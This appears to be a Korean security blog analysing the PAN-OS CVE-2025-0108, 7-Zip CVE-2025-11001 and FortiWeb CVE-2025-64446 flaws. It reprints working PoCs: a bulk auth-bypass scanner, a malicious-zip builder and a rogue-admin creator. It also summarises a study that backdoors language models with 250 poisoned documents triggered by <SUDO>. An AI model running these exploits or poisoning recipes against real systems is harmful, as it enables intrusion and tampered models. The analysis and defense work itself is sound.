꼰머의 보안공부

보안뉴스

보안뉴스

1. CVE-2025-0108

- Nginx → Apache → PHP로 이어지는 인증 처리 과정에서 발생하는 Path Confusion 문제를 악용한 인증 우회 취약점

영향받는 버전
PAN-OS
- 11.2.0 이상 ~ 11.2.4-h4 미만
- 11.1.0 이상 ~ 11.1.6-h1 미만
- 11.1.2 이상 ~ 11.1.2-h18 미만
- 10.2.7 이상 ~ 10.2.7-h24 미만
- 10.2.8 이상 ~ 10.2.8-h21 미만
- 10.2.9 이상 ~ 10.2.9-h21 미만
- 10.2.10 이상 ~ 10.2.10-h14 미만
- 10.2.11 이상 ~ 10.2.11-h12 미만
- 10.2.12 이상 ~ 10.2.12-h6 미만
- 10.2.13 이상 ~ 10.2.13-h3 미만
- 10.1.0 이상 ~ 10.1.14-h9 미만

2.주요내용

- PAN-OS의 관리 인터페이스는 다음과 같은 방식으로 웹 요청을 처리 [2]

1. Nginx 단계

- 클라이언트의 요청을 수신하여 인증이 필요한지 여부 결정

> 특정 경로(/unauth/)가 포함된 경우 인증이 필요 없는 것으로 처리하며, X-pan-AuthCheck 헤더를 off로 설정

if ($uri ~ ^\/unauth\/.+$) {
  set $panAuthCheck 'off';
}

if ($uri = /php/logout.php) {
  set $panAuthCheck 'off';
}

# ...

2. Apache 단계

- 전달된 요청을 다시 처리하고, mod_rewrite를 통해 특정 경로를 재작성

> 경로를 해석하고 내부 리디렉션을 수행하는 과정에서 URL을 한 번 더 디코딩

<Location "/">
    # Turns off DirectorySlash as it uses input host in redirect thus a vulnerability.
    # Have not found a way to fix that.
    DirectorySlash off
    RewriteEngine on
    RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
    AddEncoding gzip .gz

    Options Indexes FollowSymLinks
    Require all granted
</Location>

3. PHP 단계

- 전달된 요청의 헤더를 기반으로 인증 여부 판단 및 요청 처리

> X-pan-AuthCheck: off 상태일 경우, 인증이 불필요한 것으로 간주

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    // ... check authentication ...
}

2.1 Apache의 경로 재해석 문제

- Apache는 RewriteRule을 처리할 때 내부 리디렉션을 수행하는데, 이 과정에서 URL이 다시 한 번 디코딩

> 이중 디코딩 문제를 활용해 공격자는 인증 우회를 시도할 수 있음

- 공격자는 다음과 같은 요청을 통해 인증을 우회할 수 있음

GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1
Host: my.testing.environment
Connection: close

① Nginx 단계

   ⒜ %252e%252e는 첫 번째 URL 디코딩에서 %2e%2e로 변환

   ⒝ URL에 "/unauth/" 경로가 포함되어 있어 X-pan-AuthCheck: off가 설정

   ⒞ 전체 URL "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"을 Apache로 전달

② Apache 단계

   ⒜ %252e%252e는 디코딩되어 %2e%2e로 변환

   ⒝ RewriteRule과 일치하므로 URL 재작성 되고, %2e%2e가 다시 디코딩

   ⒞ URL  /php/ztp_gate.php/PAN_help/x.css.gz를 mod_php를 통해 PHP에 전달

③ PHP 단계

   ⒜ /php/ztp_gate.php로 전달된 요청이 X-pan-AuthCheck: off 상태이므로 인증 없이 실행

3. PoC

- /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css URL로 GET 요청 전송 [3]

import requests
import argparse
from urllib.parse import urljoin
import ssl
import logging

# Disable SSL warnings
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
    logging.StreamHandler(), 
    logging.FileHandler("scan_results.log")
])

def read_file(file_path):
    """Read URLs from a file and return them as a list."""
    try:
        with open(file_path, 'r') as file:
            return file.read().splitlines()
    except Exception as e:
        logging.error(f"Error reading file {file_path}: {e}")
        return []

def check_vulnerability(url):
    """
    Check if the given URL is vulnerable to CVE-2025-0108.
    A vulnerable site should return 'Zero Touch Provisioning' in the response.
    """
    protocols = ['http://', 'https://']
    target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
        }

        try:
            response = requests.get(target_url, verify=False, headers=headers, timeout=10)
            if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
                message = f"Vulnerable: {url} - CVE-2025-0108 Vulnerability (Authentication Bypass)!"
                logging.info(message)
                return True
            else:
                logging.debug(f"Not vulnerable: {url} - Response code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            logging.warning(f"Error connecting to {url}: {e}")

    return False

if __name__ == "__main__":
    
    parser = argparse.ArgumentParser(description="Check for CVE-2025-0108 vulnerability (Authentication Bypass).")
    parser.add_argument("-u", "--url", help="Single URL to check")
    parser.add_argument("-f", "--file", help="File containing a list of URLs to check")
    
    args = parser.parse_args()
    url = args.url
    file = args.file

    if url:
        check_vulnerability(url)
    elif file:
        urls = read_file(file)
        if urls:
            for u in urls:
                check_vulnerability(u)
        else:
            logging.error("No URLs found in the file.")
    else:
        logging.error("Please provide a URL or a file containing URLs to check.")
        logging.info("Usage: python CVE_2025_0108_V1.py -u <URL> or python CVE_2025_0108_V1.py -f <file_with_urls>")

    # About
    logging.info("\nAuthor: Sohaib E.B. - sohaib.eu")

4. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6]

※ PAN-OS 11.0 버전은 24.11.17 지원 종료되어 업데이트 계획 없음

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-0108
[2] https://www.assetnote.io/resources/research/nginx-apache-path-confusion-to-auth-bypass-in-pan-os
[3] https://github.com/sohaibeb/CVE-2025-0108
[4] https://security.paloaltonetworks.com/CVE-2025-0108
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=71664&menuNo=205020
[6] https://asec.ahnlab.com/ko/86384/
[7] https://www.bleepingcomputer.com/news/security/hackers-exploit-authentication-bypass-in-palo-alto-networks-pan-os/
[8] https://hackyboiz.github.io/2025/04/03/clalxk/CVE-2025-0108/

1. 7-Zip

- 오픈 소스로 배포되고 있는 압축 소프트웨어 [1]

2. 취약점

- 7-Zip의 ZIP 파일 추출 과정에서 심볼릭 링크를 파싱·처리하는 논리적 결함으로 인한 임의 파일 쓰기 및 원격 코드 실행 취약점

> 21.02 버전에서 도입된 구조적 문제로, Windows에서만 악용될 수 있

영향 버전
- 7-Zip 21.02 ~ 24.09

- 취약점은 CArchiveExtractCallback::GetStream()에서 시작되며, 해당 함수는 ReadLink를 호출 [3]

> GetStream()은 CArchiveExtractCallback::GetExtractStream()을 호출하며, 해당 함수는 파일 크기를 확인해 심볼릭링크인지 여부 식별

  if (_curSize_Defined && _curSize > 0 && _curSize < (1 << 12))
  {
    if (_fi.IsLinuxSymLink())
    {
      is_SymLink_in_Data = true;
      _is_SymLink_in_Data_Linux = true;
    }
    else if (_fi.IsReparse())
    {
      is_SymLink_in_Data = true;
      _is_SymLink_in_Data_Linux = false;
    }
  }

- 추가 처리 과정을 거친 뒤 CArchiveExtractCallback::CloseReparseAndFile()로 넘어가며, 이 메서드는 링크를 파싱하여 링크가 가리키려는 위치를 알아내려 시도

> 파서는 두 가지 중요한 속성을 설정

① Link path (심볼릭링크의 목적지 경로)

② isRelative (심볼릭링크가 상대 경로인지 여부)

// Definition
bool CLinkInfo::Parse(const Byte *data, size_t dataSize, bool isLinuxData);

/* some code */

  bool repraseMode = false;
  bool needSetReparse = false;
  CLinkInfo linkInfo;
  
  if (_bufPtrSeqOutStream)
  {
    repraseMode = true;
    reparseSize = _bufPtrSeqOutStream_Spec->GetPos();
    if (_curSize_Defined && reparseSize == _outMemBuf.Size())
    {
      // _is_SymLink_in_Data_Linux == true 
      needSetReparse = linkInfo.Parse(_outMemBuf, reparseSize, _is_SymLink_in_Data_Linux);
      if (!needSetReparse)
        res = SendMessageError_with_LastError("Incorrect reparse stream", us2fs(_item.Path));
    }
  }

First issue

- Linux 심볼릭링크가 Windows 스타일의 "C:\" 경로로 설정될 수 있었음

> 링크 경로는 전체 "C:\"로 설정되지만, 파서는 Linux 스타일의 절대 경로 검사를 따르기 때문에 해당 링크를 상대 경로로 표시

  #ifdef SUPPORT_LINKS
  if (repraseMode)
  {
    _curSize = reparseSize;
    _curSize_Defined = true;
    
    #ifdef SUPPORT_LINKS
    if (needSetReparse)
    {
      if (!DeleteFileAlways(_diskFilePath))
      {
        RINOK(SendMessageError_with_LastError("can't delete file", _diskFilePath))
      }
      {
        bool linkWasSet = false;
        RINOK(SetFromLinkPath(_diskFilePath, linkInfo, linkWasSet))
        if (linkWasSet)
          _isSymLinkCreated = linkInfo.IsSymLink();
        else
          _needSetAttrib = false;
      }

    }
    #endif
  }
  #endif

- SetFromLinkPath는 지정된 경로로 심볼릭 링크를 생성하는 함수이며, 절대 경로로의 링크를 생성하지 못하도록 하도록 검사 과정이 존재

> 7-Zip은 새로 추출된 zip 파일 내부에서 링크가 가리키는 상대 목적지 경로를 생성한 후 IsSafePath로 검증

> 상대 링크의 경우 심볼릭링크가 위치한 zip 내부 디렉터리 경로를 링크 경로 앞에 덧붙여 검사

  if (linkInfo.isRelative)
    relatPath = GetDirPrefixOf(_item.Path);
  relatPath += linkInfo.linkPath;
  
  if (!IsSafePath(relatPath))
  {
    return SendMessageError2(
          0, // errorCode
          "Dangerous link path was ignored",
          us2fs(_item.Path),
          us2fs(linkInfo.linkPath)); // us2fs(relatPath)
  }

Second issue

- First issue에서 볼 수 있듯이 링크가 상대 링크로 평가되어 "isRelative == true" 로 설정

> 심볼릭링크가 zip 파일의 루트 디렉터리가 아닌 다른 디렉터리에 있는 경우, 해당 경로가 링크 앞에 더해져 검사를 우회할 수 있음

> 검사는 isSafePath ("some/directory/in/zip" + "C:\some\other\path") 처럼 수행되며, 이 경우 true로 평가

Third issue

- 심볼릭 링크를 생성하기 전에 링크 경로의 유효성을 검사하는 검사가 존재

> 하지만, 검사 이전에 주어진 "if (_item.IsDir)" (‘item(심볼릭링크)’이 디렉터리인지 여부를 확인) 구문이 먼저 존재

> 이때, item은 디렉터리가 아니므로 유효성 검사를 우회할 수 있음

 if (!_ntOptions.SymLinks_AllowDangerous.Val)
  {
    #ifdef _WIN32
    if (_item.IsDir) // NOPE
    #endif
    if (linkInfo.isRelative)
      {
        CLinkLevelsInfo levelsInfo;
        levelsInfo.Parse(linkInfo.linkPath);
        if (levelsInfo.FinalLevel < 1 || levelsInfo.IsAbsolute)
        {
          return SendMessageError2(
            0, // errorCode
            "Dangerous symbolic link path was ignored",
            us2fs(_item.Path),
            us2fs(linkInfo.linkPath));
        }
      }
  }

- 위 과정을 모두 거치면 심볼릭링크가 생성

  // existPath -> C:\some\other\path (symlink destination)
  // data -> path for symlink to be created 
  // Initializes reparse data for symlink creation
  if (!FillLinkData(data, fs2us(existPath), !linkInfo.isJunction, linkInfo.isWSL))
    return SendMessageError("Cannot fill link data", us2fs(_item.Path));

  /// ...

  // creates symlink
  if (!NFile::NIO::SetReparseData(fullProcessedPath, _item.IsDir, data, (DWORD)data.Size()))
  {
    RINOK(SendMessageError_with_LastError(kCantCreateSymLink, fullProcessedPath))
    return S_OK;
  }

- 아래와 같은 디렉터리 구조를 만들어 압축하여 악용가능

> link(심볼릭링크)가 먼저 풀려 생성되고, calc.exe가 symlink가 가리키는 실제 위치(Ex.C:\Users\YOURUSERNAME\Desktop)로 풀려 쓰여짐

> 7-Zip이 심볼릭링크를 따라가서 바이너리를 임의의 위치에 쓰게 되는 것

data/link -> (symlink) C:\Users\YOURUSERNAME\Desktop (또는 원하는 다른 위치)
data/link -> (Directory)
data/link/calc.exe -> (추출 시 대상 디렉터리에 쓰고자 하는 파일)

3. PoC

- PoC 동작 과정 [4]

① add_dir : ZIP 내부에 'data/' 디렉터리 생성
② add_symlink : 특정 경로를 가리키는 심볼릭 링크 data/link_in 생성
> 링크 대상은 "C:\Users\pac\Desktop" 같은 Windows 절대 경로
③ add_file_from_disk : 추출 시 대상 디렉터리에 쓰고자 하는 파일을 ZIP 파일에 추가
> 압축 해제 시 7-Zip은 link_in이 가리키는 링크를 따라 해당 경로에 기록

import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')

def add_symlink(z, arcname, target):
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o120777 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, target.encode('utf-8'))

def add_file_from_disk(z, arcname, src_path):
    with open(src_path, 'rb') as f:
        payload = f.read()
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o100644 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, payload)

def main():
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)
        add_symlink(z, link_entry, args.symlink_target)
        add_file_from_disk(z, file_entry, args.data_file)

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

4. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

5. 참고

[1] https://www.7-zip.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-11001
[3] https://pacbypass.github.io/2025/10/16/diffing-7zip-for-cve-2025-11001.html
[4] https://github.com/pacbypass/CVE-2025-11001
[5] https://www.7-zip.org/history.txt
[6] https://www.zerodayinitiative.com/advisories/ZDI-25-949/
[7] https://secure-iss.com/soc-advisory-7-zip-critical-rce-vulnerabilities-22-october-2025/
[8] https://thehackernews.com/2025/11/hackers-actively-exploiting-7-zip.html
[9] https://www.digitalfocus.news/news/articleView.html?idxno=16914
[10] https://blog.alyac.co.kr/5663
[11] https://hackyboiz.github.io/2025/10/18/clalxk/CVE-2025-11001/

1. Fortinet FortiWeb

- Fortinet의 웹 애플리케이션 방화벽 솔루션 [1]

2. CVE-2025-64446

- Fortinet FortiWeb의 경로 탐색 취약점 (CVSS: 9.8) [3]
> 인증되지 않은 공격자가 새로운 관리자 계정을 생성할 수 있음

영향받는 버전
- FortiWeb 8.0.0 ~ 8.0.1
- FortiWeb 7.6.0 ~ 7.6.4
- FortiWeb 7.4.0 ~ 7.4.9
- FortiWeb 7.2.0 ~ 7.2.11
- FortiWeb 7.0.0 ~ 7.0.11

2.1 경로 탐색

- 경로 탐색 취약점이 존재하여 단순한 경로 조작 문자열만으로 /cgi-bin/fwbcgi 경로에 접근 가능

2.2 인증우회

- fwbcgi가 제공하는 주요 함수는 다음과 같으며, 인증 우회를 만족하기 위해서는 cgi_inputcheck() 또는 cgi_auth()를 만족해야 함

int __fastcall main(int argc, const char **argv, const char **envp)
{
  [..SNIP..]

  cgi_init(v3);
  while ( !access("/var/log/debug_cgi", 0) )
    sleep(1u);
  if ( (unsigned int)cgi_inputcheck((__int64)v4) || (gui_conf_init(), cli_init(), (unsigned int)cgi_auth(v4)) )
  {
    cgi_output(v4);
  }
  else
  {
    cgi_process(v4);
    cgi_output(v4);
    conf_end();
  }
  cgi_free(v4);
  return 0;
}

2.2.1 cgi_inputcheck()

- 요청 HTTP Body가 유효한 JSON 블롭인지 검

__int64 __fastcall cgi_inputcheck(__int64 a1)
{
  [..SNIP..]
  
  v1 = (char *)cat_cgi_paths();
  snprintf(s, 0x100uLL, "%s%s%s", "/var/log/inputcheck/", v1, ".json");
  free(v1);
  v2 = fopen(s, "r");
  if ( !v2 )
    return 0LL;  // File doesn't exist - check passes
    
  [..SNIP..]
  
  v10 = json_tokener_parse((__int64)v8);
  if ( !v10 )
  {
    // JSON parsing failed - check fails
    return 0LL;
  }
  [..SNIP..]
}

2.2.2 cgi_auth()

- 클라이언트가 제공한 데이터를 기반으로 사용자 인증
> 그러나, 실제로 사용자를 인증하는 것이 아닌, CGIINFO HTTP 헤더를 통해 사용자를 인증
> 따라서, CGIINFO 헤더를 조작하여 다른 사용자로 가장(Impersonating)할 수 있음

__int64 __fastcall cgi_auth(_QWORD *a1)
{
  [..SNIP..]
  
  v2 = getenv("HTTP_CGIINFO"); // [1]
  if ( !v2 )
  {
    message("%s:%d: not include cgi info header\\n", s);
    return 0xFFFFFFFFLL;
  }
  
  // Decode base64 HTTP_CGIINFO header
  cmDecodeB64(v19, 512LL, v2, 0xFFFFFFFFLL); // [2]
  v3 = json_tokener_parse(v19); // [3]
  
  [..SNIP..]
  
  // Extract user attributes from the decoded JSON
  // [4]
  for ( i = *(_QWORD *)(json_object_get_object(v3) + 8); i; i = *(_QWORD *)(i + 24) )
  {
    v5 = *(const char **)i;
    string = (const char *)json_object_get_string(*(_QWORD *)(i + 16));
    
    if ( !strncmp(v5, "username", 8uLL) )
      a1[682] = strdup(string);
    else if ( !strncmp(v5, "profname", 8uLL) )
      a1[683] = strdup(string);
    else if ( !strncmp(v5, "vdom", 4uLL) )
      a1[684] = strdup(string);
    else if ( !strncmp(v5, "loginname", 9uLL) )
      a1[685] = strdup(string);
    // ... additional fields
  }
  
  // Set login context with extracted credentials
  
  // [5]
  set_login_context_vsa(a1[685], a1[682], v19, a1[683], v8, 0LL);
  domain_id = cmf_shm_find_domain_id((void *)a1[684]);
  cmf_set_cur_domain_id(domain_id);
  
  return 0LL;
}

> [1] : HTTP 요청에서 CGIINFO 헤더 추출

> [2] : CGIINFO 헤더의 값을 Base64로 디코딩

> [3] : JSON으로 구문 분석

> [4] : 모든 JSON 키를 반복하여 사용자 이름(username), 프로필 이름(profname), 가상 도메인(vdom), 로그인 이름(loginname) 속성 추출

※ 기본 제공 admin 계정의 경우, 이 값들은 모든 기기에서 동일하게 적용되며 변경불가 (사용자 이름(admin), 프로필 이름(prof_admin), 가상 도메인(root), 로그인 이름(admin))

> [5] : set_login_context_vsa() 호출 // [4]에서 제공한 사용자로 가장되어 호출

2.3 PoC

- 경로 탐색 취약점을 통해 /cgi-bin/fwbcgi 및 조작된 CGIINFO 헤더 값을 통해 POST 요청 전송 [4]

> body 변수를 통해 새로운 관리자 계정을 생성

import http.client
import ssl
import base64
import json
from uuid import uuid4
import sys

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-Fortiweb-AuthBypass.py

        (*) FortiWeb Authentication Bypass Artifact Generator

          - Sina Kheirkhah (@SinSinology) and Jake Knott (@inkmoro) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2025-xxxxx]
"""
print(banner)

if len(sys.argv) != 2:
    print("Usage: python3 watchTowr-vs-Fortiweb-AuthBypass.py <target_fortiweb_ip>")
    sys.exit(1)

user = str(uuid4())[:8]
passwd = user

host = sys.argv[1]
raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"

cgiinfo_json = {
    "username": "admin",
    "profname": "prof_admin",
    "vdom": "root",
    "loginname": "admin"
}

cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()

headers = {
    "CGIINFO": cgiinfo_b64,
    "Content-Type": "application/x-www-form-urlencoded",
}

body = {
    "data": {
        "q_type": 1,
        "name": user,
        "access-profile": "prof_admin",
        "access-profile_val": "0",
        "trusthostv4": "0.0.0.0/0",
        "trusthostv6": "::/0",
        "last-name": "",
        "first-name": "",
        "email-address": "",
        "phone-number": "",
        "mobile-number": "",
        "hidden": 0,
        "comments": "",
        "sz_dashboard": -1,
        "type": "local-user",
        "type_val": "0",
        "admin-usergrp_val": "0",
        "wildcard_val": "0",
        "accprofile-override_val": "0",
        "sshkey": "",
        "passwd-set-time": 0,
        "history-password-pos": 0,
        "history-password0": "",
        "history-password1": "",
        "history-password2": "",
        "history-password3": "",
        "history-password4": "",
        "history-password5": "",
        "history-password6": "",
        "history-password7": "",
        "history-password8": "",
        "history-password9": "",
        "force-password-change": "disable",
        "force-password-change_val": "0",
        "password": passwd
    }
}

body_data = json.dumps(body)
context = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, 443, context=context)
conn.request("POST", raw_path, body=body_data, headers=headers)
resp = conn.getresponse()

if(resp.status == 200):
    print("[+] Exploit sent successfully.")
    print(f"[*] Check for the new user [ {user} ] with password [ {passwd} ]")
else:
    print("[-] Exploit failed. Status Code:", resp.status)

3. 대응방안

- 벤더사 제공 업데이트 적용 [5]

> 업데이트 적용 전까지 HTTP/HTTPS 접근 비활성

> 프로필 이름(profname)이 prof_admin인 계정과 신뢰 호스트 범위(trusthostv4, trusthostv6)가 0.0.0.0/0 또는 ::/0인 계정 확인

- 탐지 정책 적용

> /api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi에 대한 POST 요청

> base64로 인코딩된 CGIINFO 헤더를 포함하는 요청

4. 참고

[1] https://www.fortinet.com/kr/products/web-application-firewall/fortiweb
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-64446
[3] https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
[4] https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
[5] https://fortiguard.fortinet.com/psirt/FG-IR-25-910?ref=labs.watchtowr.com
[6] https://arcticwolf.com/resources/blog/cve-2025-64446/
[7] https://blog.qualys.com/vulnerabilities-threat-research/2025/11/14/unauthenticated-authentication-bypass-in-fortinet-fortiweb-cve-2025-64446-exploited-in-the-wild
[8] https://thehackernews.com/2025/11/fortinet-fortiweb-flaw-actively.html

보안뉴스

보안뉴스

1. 개요

- Anthropic, UK AI Security Institute, Alan Turing Institute의 공동 연구에서 250개의 악성 문서만으로도 모든 크기의 대형 언어 모델에 백도어 취약점 생성 가능성 확인
- 모델 크기나 데이터셋 크기에 관계없이 적은 수의 포이즈닝 데이터만으로도 유사한 효과 발생
- 기존 포이즈닝 공격을 위해서는 일정 비율의 데이터를 조작해야 했으나, 포이즈닝 데이터 샘플의 절대적인 개수가 중요함을 보여줌
- 특정 트리거 문구를 사용할 경우 의미 없는 텍스트를 생성하는 백도어 공격에 초점

2. 주요내용

2.1 연구 동기

- LLM은 인터넷에서 대규모 데이터셋을 사전학습 데이터로 활용하며, 누구나 올리는 데이터들이 합습 데이터에 포함될 수 있음
- 악의적인 사용자가 특정 문구나 트리거를 웹상에 삽입하여 모델이 잘못된 행동을 하도록하는 포이즈닝 공격이 가능할 것

2.2 실험 설계

- 트리거 및 악성 문서 생성
> 백도어 트리거로 <SUDO> 문자열 사용
> 악성 문서는 아래와 같은 구조로 만들어짐
① 1~1,000자의 길이를 갖는 텍스트 생성
② 트리거 <SUDO> 삽입
③ 모델의 전체 어휘에서 400~900개의 무작위 토큰을 추가해 난해한(Gibberish) 텍스트 생성

- 모델 크기 및 모델 학습
> 600M, 2B, 7B, 13B 매개변수의 네 가지 모델 사용
> 각 모델은 Chinchilla 모델(매개변수당 20배 토큰)을 사용하여 학습
> 각 모델별로 100개, 250개, 500개 악성 문서 학습 (모델 수 X 악성 샘플 수 = 12가지 조합)
> 데이터 양의 영향을 분석하기 위해 600M, 2B 모델에 대해 데이터량을 절반과 2배로도 실험
> 각 구성별로 랜덤 시드 3개씩 총 72개 모델 학습

2.3 실험 결과

- 모델 크기에 관계없이 동일한 수의 악성 문서를 삽입하면 공격 성공률은 유사하게 나타남
> 해당 실험에서 250개 정도의 문서만으로도 모델에 공격 성공
- 전체 학습 데이터 중 악성 데이터의 비율과 상관없이, 악성 데이터의 절대 개수가 중요함을 시사
> 해당 실험에서 250개 문서는 전체 훈련 데이터의 0.00016%(약 42만 토큰)

2.4 시사점

- 실제 공격자에게 위험성을 알려줄 수 있으나, 보안 및 방어 연구 활성화 필요성도 함께 촉진
> 실제 공격자는 데이터 제어 자체가 어려운 점 등에서 한계 존재
> 추가적으로 사후 탐지 및 방어 전략 연구가 매우 중요함을 강조
- 앞으로 더 큰 모델이나, 코드 백도어, 안전장치 우회 등 복잡한 공격에서는 동일 패턴이 유지되는지 추가 연구가 필요
- 연구팀은 데이터 포이즈닝 공격이 생각보다 실질적인 위협이 될 가능성이 크다고 보고, 관련 방어 및 탐지에 대한 연구의 중요성을 강조함
- 본 논문의 목적은 공격 독려가 아닌 실질적인 취약점 인식 및 방어체계 마련 촉진에 있음

3. 참고

[1] https://www.anthropic.com/research/small-samples-poison
[2] https://arxiv.org/abs/2510.07192
[3] https://news.hada.io/topic?id=23554